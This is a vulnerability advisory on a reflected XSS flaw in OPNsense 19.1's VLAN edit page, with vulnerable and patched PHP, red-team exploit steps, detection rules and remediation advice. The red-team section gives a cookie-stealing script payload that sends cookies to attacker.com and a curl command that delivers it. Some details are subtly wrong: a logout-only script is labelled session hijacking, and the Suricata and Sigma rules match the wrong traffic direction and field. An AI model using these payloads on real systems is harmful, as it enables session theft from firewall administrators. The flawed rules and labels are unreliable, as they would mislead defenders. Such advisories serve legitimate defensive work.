CVE-2019-25370

Executive Summary

CVE-2019-25370 is a reflected cross-site scripting (XSS) vulnerability in OPNsense 19.1, a popular open-source firewall and routing platform. The flaw resides in the interfaces_vlan_edit.php script, where user-supplied input to the tag, descr, or vlanif parameters is not properly sanitized before being reflected back to the user. An attacker can craft a malicious POST request containing JavaScript payloads, which, when processed by a victim's browser, executes arbitrary code in the context of the OPNsense web interface. This can lead to session hijacking, credential theft, or further compromise of the firewall management interface.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core web application issue within the OPNsense project. The OPNsense project distributes its software as a complete operating system image, not as a package dependency. Therefore, supply chain risks are limited to the integrity of the OPNsense distribution itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link or submit a form.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the critical role of OPNsense in network security elevate the risk. An attacker could use this XSS to pivot to more severe attacks, such as CSRF or session hijacking, potentially compromising the entire firewall.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the OPNsense web GUI. The file interfaces_vlan_edit.php is used to create or edit VLAN interfaces. It accepts POST parameters tag, descr, and vlanif to set the VLAN tag, description, and interface name, respectively. The application fails to sanitize or encode these inputs before rendering them in the HTML response.

Attack Flow:

1. An attacker crafts a malicious URL or POST form containing JavaScript in one of the vulnerable parameters. For example:

   POST /interfaces_vlan_edit.php
   tag=<script>alert('XSS')</script>&descr=test&vlanif=eth0.10
   

2. The attacker lures an authenticated OPNsense admin to click the link or submit the form (e.g., via phishing email or a compromised website).
3. The victim's browser sends the request to the OPNsense server.
4. The server reflects the unsanitized input back in the response page.
5. The browser executes the injected JavaScript, which can steal session cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Root Cause: Lack of output encoding for user-controlled data in the PHP script. The tag, descr, and vlanif values are directly echoed into the HTML without using functions like htmlspecialchars() or htmlentities().

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1):

// interfaces_vlan_edit.php (simplified)
$tag = $_POST['tag'];
$descr = $_POST['descr'];
$vlanif = $_POST['vlanif'];
echo "<input type='text' name='tag' value='$tag'>";
echo "<input type='text' name='descr' value='$descr'>";
echo "<input type='text' name='vlanif' value='$vlanif'>";

Patched Code (OPNsense 19.7+):

// interfaces_vlan_edit.php (simplified)
$tag = htmlspecialchars($_POST['tag'], ENT_QUOTES, 'UTF-8');
$descr = htmlspecialchars($_POST['descr'], ENT_QUOTES, 'UTF-8');
$vlanif = htmlspecialchars($_POST['vlanif'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='tag' value='$tag'>";
echo "<input type='text' name='descr' value='$descr'>";
echo "<input type='text' name='vlanif' value='$vlanif'>";

The fix applies htmlspecialchars() with ENT_QUOTES to encode both single and double quotes, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OPNsense 19.1 instance (e.g., in a VM)
• A web browser with developer tools
• A listener to capture cookies (optional)

Exploit Steps:

1. Craft the Payload: Use a simple JavaScript payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Create the Malicious POST Request: Use a tool like curl or a crafted HTML form.

   curl -X POST http://target.opnsense/interfaces_vlan_edit.php \
     -d "tag=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>&descr=test&vlanif=eth0.10"
   

3. Deliver the Exploit: Send the victim a link to a page that auto-submits the form, or use a phishing email with a crafted link that triggers a POST via JavaScript.
4. Capture the Cookie: Set up a listener on attacker.com to receive the cookie.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/index.php?logout=1', true);
xhr.send();
</script>

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for POST requests to /interfaces_vlan_edit.php containing <script> tags or unusual characters in the tag, descr, or vlanif parameters.
2. Inspect Network Traffic: Use a web application firewall (WAF) to block requests with XSS patterns.
3. Review User Activity: Check for unexpected VLAN configuration changes or login anomalies.

Mitigation in Lab:

• Apply the patch by upgrading to OPNsense 19.7 or later.
• Implement a WAF rule to block XSS payloads.
• Restrict access to the web GUI to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /interfaces_vlan_edit.php with parameters containing <script>, onerror, onload, or other event handlers.
  • Outbound connections to unknown domains from the OPNsense server (potential cookie exfiltration).
• File IOCs:
  • Modified or suspicious entries in /usr/local/opnsense/www/interfaces_vlan_edit.php (if attacker gains write access).
• Log IOCs:
  • Entries in /var/log/nginx/access.log or /var/log/lighttpd/access.log showing XSS patterns.
  • Unusual VLAN configuration changes in system logs.

Detection Engineering

YARA Rule

rule CVE_2019_25370_XSS_OPNsense {
    meta:
        description = "Detects reflected XSS attempts against OPNsense interfaces_vlan_edit.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25370"
    strings:
        $xss_pattern1 = /tag=.*<script>/i
        $xss_pattern2 = /descr=.*<script>/i
        $xss_pattern3 = /vlanif=.*<script>/i
        $xss_pattern4 = /tag=.*on\w+=/i
        $xss_pattern5 = /descr=.*on\w+=/i
        $xss_pattern6 = /vlanif=.*on\w+=/i
    condition:
        any of ($xss_pattern*)
}

Sigma Rule

title: Reflected XSS in OPNsense interfaces_vlan_edit.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to interfaces_vlan_edit.php with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/interfaces_vlan_edit.php'
        cs-uri-query|contains:
            - 'tag=<script'
            - 'descr=<script'
            - 'vlanif=<script'
            - 'tag=on'
            - 'descr=on'
            - 'vlanif=on'
    condition: selection
falsepositives:
    - Legitimate use of script tags in description (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25370 - Reflected XSS in OPNsense interfaces_vlan_edit.php";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/interfaces_vlan_edit.php";
    http_uri;
    content:"tag=";
    http_client_body;
    pcre:"/(<script|on\w+=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25370;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OPNsense: Update to version 19.7 or later, which includes the fix.
2. Apply Virtual Patching: If upgrade is not possible, deploy a WAF rule to block XSS payloads in the vulnerable parameters.
3. Restrict GUI Access: Limit access to the OPNsense web interface to trusted IP addresses using firewall rules.

Long-Term Measures:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct regular security audits of web application code.
• Enable input validation and output encoding in all PHP scripts.
• Use a web application firewall (e.g., ModSecurity) with OWASP Core Rule Set.

Verification:

• After patching, test the endpoint with a benign XSS payload to confirm it is no longer reflected.
• Review logs for any prior exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert